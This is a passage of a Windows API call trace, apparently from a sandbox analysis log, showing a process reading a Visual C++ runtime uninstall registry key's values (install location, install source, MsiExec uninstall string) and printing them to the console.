[0147.428] lstrlenW (lpString="\n") returned 1 [0147.428] GetConsoleOutputCP () returned 0x1b5 [0147.428] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.428] GetConsoleOutputCP () returned 0x1b5 [0147.428] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.428] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.428] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.429] GetProcessHeap () returned 0x2e0000 [0147.429] GetProcessHeap () returned 0x2e0000 [0147.429] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd1a0) returned 1 [0147.429] GetProcessHeap () returned 0x2e0000 [0147.429] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd1a0) returned 0x16 [0147.429] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd1a0 | out: hHeap=0x2e0000) returned 1 [0147.429] RegEnumValueW (in: hKey=0x5c, dwIndex=0x7, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallLocation", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.429] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.429] GetProcessHeap () returned 0x2e0000 [0147.429] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.429] GetProcessHeap () returned 0x2e0000 [0147.429] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.429] GetProcessHeap () returned 0x2e0000 [0147.429] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.429] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.429] __iob_func () returned 0x7fefd702a80 [0147.429] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.429] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.429] _fileno (_File=0x7fefd702ab0) returned 1 [0147.429] _errno () returned 0xc4bb0 [0147.429] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.429] _errno () returned 0xc4bb0 [0147.429] GetFileType (hFile=0x50) returned 0x1 [0147.429] lstrlenW (lpString=" ") returned 4 [0147.429] GetConsoleOutputCP () returned 0x1b5 [0147.429] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.429] GetConsoleOutputCP () returned 0x1b5 [0147.430] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.430] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.430] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.430] lstrlenW (lpString="InstallLocation") returned 15 [0147.430] __iob_func () returned 0x7fefd702a80 [0147.430] _fileno (_File=0x7fefd702ab0) returned 1 [0147.430] _errno () returned 0xc4bb0 [0147.430] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.430] _errno () returned 0xc4bb0 [0147.430] GetFileType (hFile=0x50) returned 0x1 [0147.430] lstrlenW (lpString="InstallLocation") returned 15 [0147.430] GetConsoleOutputCP () returned 0x1b5 [0147.430] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0147.430] GetConsoleOutputCP () returned 0x1b5 [0147.430] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallLocation", lpUsedDefaultChar=0x0) returned 15 [0147.430] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0147.430] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.430] __iob_func () returned 0x7fefd702a80 [0147.430] _fileno (_File=0x7fefd702ab0) returned 1 [0147.430] _errno () returned 0xc4bb0 [0147.430] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.430] _errno () returned 0xc4bb0 [0147.430] GetFileType (hFile=0x50) returned 0x1 [0147.430] lstrlenW (lpString=" ") returned 4 [0147.431] GetConsoleOutputCP () returned 0x1b5 [0147.431] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.431] GetConsoleOutputCP () returned 0x1b5 [0147.431] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.431] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.431] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.431] __iob_func () returned 0x7fefd702a80 [0147.431] _fileno (_File=0x7fefd702ab0) returned 1 [0147.431] _errno () returned 0xc4bb0 [0147.431] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.431] _errno () returned 0xc4bb0 [0147.431] GetFileType (hFile=0x50) returned 0x1 [0147.431] lstrlenW (lpString="REG_SZ") returned 6 [0147.431] GetConsoleOutputCP () returned 0x1b5 [0147.431] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.431] GetConsoleOutputCP () returned 0x1b5 [0147.431] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.431] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.431] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.432] __iob_func () returned 0x7fefd702a80 [0147.432] _fileno (_File=0x7fefd702ab0) returned 1 [0147.432] _errno () returned 0xc4bb0 [0147.432] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.432] _errno () returned 0xc4bb0 [0147.432] GetFileType (hFile=0x50) returned 0x1 [0147.432] lstrlenW (lpString=" ") returned 4 [0147.432] GetConsoleOutputCP () returned 0x1b5 [0147.432] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.432] GetConsoleOutputCP () returned 0x1b5 [0147.432] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.432] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.432] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.432] __iob_func () returned 0x7fefd702a80 [0147.432] _fileno (_File=0x7fefd702ab0) returned 1 [0147.432] _errno () returned 0xc4bb0 [0147.432] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.432] _errno () returned 0xc4bb0 [0147.432] GetFileType (hFile=0x50) returned 0x1 [0147.432] lstrlenW (lpString="") returned 0 [0147.432] __iob_func () returned 0x7fefd702a80 [0147.432] _fileno (_File=0x7fefd702ab0) returned 1 [0147.432] _errno () returned 0xc4bb0 [0147.432] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.432] _errno () returned 0xc4bb0 [0147.432] GetFileType (hFile=0x50) returned 0x1 [0147.432] lstrlenW (lpString="\n") returned 1 [0147.432] GetConsoleOutputCP () returned 0x1b5 [0147.433] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.433] GetConsoleOutputCP () returned 0x1b5 [0147.433] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.433] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.433] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.433] GetProcessHeap () returned 0x2e0000 [0147.433] GetProcessHeap () returned 0x2e0000 [0147.433] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.433] GetProcessHeap () returned 0x2e0000 [0147.433] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.433] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.433] RegEnumValueW (in: hKey=0x5c, dwIndex=0x8, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallSource", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.433] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0xe4) returned 0x0 [0147.433] GetProcessHeap () returned 0x2e0000 [0147.433] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0xe6) returned 0x2ff9a0 [0147.433] GetProcessHeap () returned 0x2e0000 [0147.433] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2ff9a0) returned 1 [0147.433] GetProcessHeap () returned 0x2e0000 [0147.433] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2ff9a0) returned 0xe6 [0147.433] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallSource", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2ff9a0, pcbData=0x23f670*=0xe4 | out: pdwType=0x23f5f0*=0x1, pvData="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\", pcbData=0x23f670*=0xe2) returned 0x0 [0147.433] __iob_func () returned 0x7fefd702a80 [0147.433] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.433] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.434] _fileno (_File=0x7fefd702ab0) returned 1 [0147.434] _errno () returned 0xc4bb0 [0147.434] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.434] _errno () returned 0xc4bb0 [0147.434] GetFileType (hFile=0x50) returned 0x1 [0147.434] lstrlenW (lpString=" ") returned 4 [0147.434] GetConsoleOutputCP () returned 0x1b5 [0147.434] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.434] GetConsoleOutputCP () returned 0x1b5 [0147.434] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.434] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.434] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.434] lstrlenW (lpString="InstallSource") returned 13 [0147.434] __iob_func () returned 0x7fefd702a80 [0147.434] _fileno (_File=0x7fefd702ab0) returned 1 [0147.434] _errno () returned 0xc4bb0 [0147.434] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.434] _errno () returned 0xc4bb0 [0147.434] GetFileType (hFile=0x50) returned 0x1 [0147.434] lstrlenW (lpString="InstallSource") returned 13 [0147.434] GetConsoleOutputCP () returned 0x1b5 [0147.434] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.434] GetConsoleOutputCP () returned 0x1b5 [0147.435] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallSource", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallSource", lpUsedDefaultChar=0x0) returned 13 [0147.435] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.435] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.435] __iob_func () returned 0x7fefd702a80 [0147.435] _fileno (_File=0x7fefd702ab0) returned 1 [0147.435] _errno () returned 0xc4bb0 [0147.435] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.435] _errno () returned 0xc4bb0 [0147.435] GetFileType (hFile=0x50) returned 0x1 [0147.435] lstrlenW (lpString=" ") returned 4 [0147.435] GetConsoleOutputCP () returned 0x1b5 [0147.435] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.435] GetConsoleOutputCP () returned 0x1b5 [0147.435] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.435] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.435] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.435] __iob_func () returned 0x7fefd702a80 [0147.435] _fileno (_File=0x7fefd702ab0) returned 1 [0147.435] _errno () returned 0xc4bb0 [0147.435] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.435] _errno () returned 0xc4bb0 [0147.435] GetFileType (hFile=0x50) returned 0x1 [0147.436] lstrlenW (lpString="REG_SZ") returned 6 [0147.436] GetConsoleOutputCP () returned 0x1b5 [0147.436] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.436] GetConsoleOutputCP () returned 0x1b5 [0147.436] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.436] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.436] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.436] __iob_func () returned 0x7fefd702a80 [0147.436] _fileno (_File=0x7fefd702ab0) returned 1 [0147.436] _errno () returned 0xc4bb0 [0147.436] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.436] _errno () returned 0xc4bb0 [0147.436] GetFileType (hFile=0x50) returned 0x1 [0147.436] lstrlenW (lpString=" ") returned 4 [0147.436] GetConsoleOutputCP () returned 0x1b5 [0147.436] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.436] GetConsoleOutputCP () returned 0x1b5 [0147.436] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.436] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.437] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.437] __iob_func () returned 0x7fefd702a80 [0147.437] _fileno (_File=0x7fefd702ab0) returned 1 [0147.437] _errno () returned 0xc4bb0 [0147.437] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.437] _errno () returned 0xc4bb0 [0147.437] GetFileType (hFile=0x50) returned 0x1 [0147.437] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\") returned 112 [0147.437] GetConsoleOutputCP () returned 0x1b5 [0147.437] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\", cchWideChar=112, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 112 [0147.437] GetConsoleOutputCP () returned 0x1b5 [0147.437] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\", cchWideChar=112, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\", lpUsedDefaultChar=0x0) returned 112 [0147.437] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 112 [0147.437] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.437] __iob_func () returned 0x7fefd702a80 [0147.437] _fileno (_File=0x7fefd702ab0) returned 1 [0147.437] _errno () returned 0xc4bb0 [0147.437] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.437] _errno () returned 0xc4bb0 [0147.437] GetFileType (hFile=0x50) returned 0x1 [0147.437] lstrlenW (lpString="\n") returned 1 [0147.437] GetConsoleOutputCP () returned 0x1b5 [0147.438] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.438] GetConsoleOutputCP () returned 0x1b5 [0147.438] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.438] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.438] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.438] GetProcessHeap () returned 0x2e0000 [0147.438] GetProcessHeap () returned 0x2e0000 [0147.438] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2ff9a0) returned 1 [0147.438] GetProcessHeap () returned 0x2e0000 [0147.438] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2ff9a0) returned 0xe6 [0147.438] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2ff9a0 | out: hHeap=0x2e0000) returned 1 [0147.438] RegEnumValueW (in: hKey=0x5c, dwIndex=0x9, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="ModifyPath", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.438] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x6a) returned 0x0 [0147.438] GetProcessHeap () returned 0x2e0000 [0147.438] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6c) returned 0x2fd9a0 [0147.438] GetProcessHeap () returned 0x2e0000 [0147.438] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0147.438] GetProcessHeap () returned 0x2e0000 [0147.438] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0147.438] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ModifyPath", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd9a0, pcbData=0x23f670*=0x6a | out: pdwType=0x23f5f0*=0x2, pvData="MsiExec.exe /X{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}", pcbData=0x23f670*=0x6a) returned 0x0 [0147.438] __iob_func () returned 0x7fefd702a80 [0147.438] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.438] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.438] _fileno (_File=0x7fefd702ab0) returned 1 [0147.438] _errno () returned 0xc4bb0 [0147.438] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.438] _errno () returned 0xc4bb0 [0147.439] GetFileType (hFile=0x50) returned 0x1 [0147.439] lstrlenW (lpString=" ") returned 4 [0147.439] GetConsoleOutputCP () returned 0x1b5 [0147.439] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.439] GetConsoleOutputCP () returned 0x1b5 [0147.439] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.439] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.439] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.439] lstrlenW (lpString="ModifyPath") returned 10 [0147.439] __iob_func () returned 0x7fefd702a80 [0147.439] _fileno (_File=0x7fefd702ab0) returned 1 [0147.439] _errno () returned 0xc4bb0 [0147.439] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.439] _errno () returned 0xc4bb0 [0147.439] GetFileType (hFile=0x50) returned 0x1 [0147.439] lstrlenW (lpString="ModifyPath") returned 10 [0147.439] GetConsoleOutputCP () returned 0x1b5 [0147.439] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0147.439] GetConsoleOutputCP () returned 0x1b5 [0147.439] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ModifyPath", cchWideChar=10, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ModifyPath", lpUsedDefaultChar=0x0) returned 10 [0147.440] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 10 [0147.440] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.440] __iob_func () returned 0x7fefd702a80 [0147.440] _fileno (_File=0x7fefd702ab0) returned 1 [0147.440] _errno () returned 0xc4bb0 [0147.440] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.440] _errno () returned 0xc4bb0 [0147.440] GetFileType (hFile=0x50) returned 0x1 [0147.440] lstrlenW (lpString=" ") returned 4 [0147.440] GetConsoleOutputCP () returned 0x1b5 [0147.440] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.440] GetConsoleOutputCP () returned 0x1b5 [0147.440] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.440] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.440] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.440] __iob_func () returned 0x7fefd702a80 [0147.440] _fileno (_File=0x7fefd702ab0) returned 1 [0147.440] _errno () returned 0xc4bb0 [0147.440] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.440] _errno () 